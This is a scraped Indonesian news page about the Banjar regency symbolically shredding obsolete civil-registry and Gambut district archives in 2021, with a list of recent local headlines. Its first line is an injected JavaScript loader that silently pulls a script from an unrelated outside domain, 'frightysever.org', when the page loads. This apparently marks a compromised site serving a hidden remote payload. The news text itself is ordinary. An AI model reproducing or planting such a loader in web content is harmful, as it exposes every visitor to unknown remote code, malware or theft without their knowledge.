(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Pemusnahan Arsip Tak Bernilai Guna Disdukcapil Banjar dan Kantor Kecamatan Gambut


KANALKALIMANTAN.COM, MARTAPURA – Arsip tak bernilai guna dimusnahkan di Depo Arsip Kabupaten Banjar, Selasa (12/10/2021) pagi.

Pemusnahan dilakukan secara simbolis Bupati Banjar H Saidi Mansyur dan Wakil Bupati Banjar Habib Idrus Al Habsyie menggunakan mesin pencacah kertas.

Bupati Banjar H Saidi Mansyur mengatakan, pemusnahan arsip merupakan tanggung jawab pencipta arsip, sebagaimana prosedur dan tata cara pemusnahan arsip telah diatur dalam PP No 28 Tahun 2012 tentang pelaksanaan UU No 48 Tahun 2009 tentang kearsipan dan Peraturan Kepala Arsip Nasional RI No 25 Tahun 2012 tentang pedoman pemusnahan arsip.

“Arsip sebagai rekaman kegiatan lembaga juga merupakan bukti akuntabilitas kinerja, memori dan identitas, serta bahan pertanggungjawaban, oleh sebab itu sesuai dengan amanat Undang-Undang kita tidak boleh memusnahkan arsip tanpa dinilai terlebih dahulu, melalui prosedur yang benar,” jelas Saidi.

 

 

Sementara itu, Kepala Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Banjar HjYasna Khairina menjelaskan arsip yang dimusnahkan meliputi  arsip Disdukcapil Banjar kurun waktu tahun 2009  dan arsip Kantor Kecamatan Gambut kurun waktu 2012 hingga 2017.

“Arsip yang dimusnahkan dikarenakan sudah tidak bernilai guna. Sejak Kabupaten Banjar berdiri baru 3 kali pemusnahan arsip dilakukan, diharapkan yang akan datang tertib arsip dikelola dengan baik karena arsip merupakan bukti akuntabilitas,” jelas  Yasna.

Setiap arsip yang tak bernilai guna secara fungsi retensi wajib dimusnahkan tidak mesti terjadwal setahun sekali atau berapa kali tahun sekali. “Kita sudah ada Peraturan Bupati yang mengatur retensi pemusnahan arsip ini,” ujar Yasna.

Penandatanganan berita acara pemusnahan arsip dilakukan oleh Bupati Banjar H Sadi Mansyur, Kepala Disdukcapil Banjar Azwar dan Camat Gambut Ahmad Fauzan. (kanalkalimantan.com/rls)

Reporter : rls
Editor : kk


Al Ghifari

Recent Posts

Rampungkan Pendistribusian Logistik ke 403 TPS se Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru merampungkan pengadaan logistik untuk Pemilhan Kepala… Read More

12 jam ago

Unjuk Rasa FRI Kalsel di KPU Banjarbaru, Komisioner Tak Bisa Ditemui

KANALKALIMANTAN.COM, BANJARBARU - Lima orang aktivis penyeru hak demokrasi mendatangi kantor Komisi Pemilihan Umum (KPU)… Read More

20 jam ago

Pilwali Banjarbaru: Coblos Paslon Dibatalkan Terhitung Suara Tidak Sah

Dahtiar: Yang Dihitung Suara Sah Saja Nanti, Karena Bukan Mekanisme Kotak Kosong Read More

21 jam ago

Tingkatkan Efektivitas dan Efisiensi Kinerja Organisasi, Bappedalitbang Banjar Lakukan Pembahasan Ini

KANALKALIMANTAN.COM, MARTAPURA - Sekretaris Bappedalitbang Kabupaten Banjar, Hanafi, membuka rapat dengan agenda Pembahasan Proses Bisnis… Read More

21 jam ago

Pengayuh Becak Didapati Tak Bernyawa di Bawah Pohon Rindang

KANALKALIMANTAN.COM, BANJARMASIN – Dikira tertidur, seorang lelaki pengayuh becak ditemukan meninggal dunia di Jalan A… Read More

23 jam ago

Pesan Damai Guru Ilham Humaidi Menuju Kontestasi Pilkada 2024

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) Serentak 2024 sudah di depan mata. Masyarakat Indonesia… Read More

23 jam ago

This website uses cookies.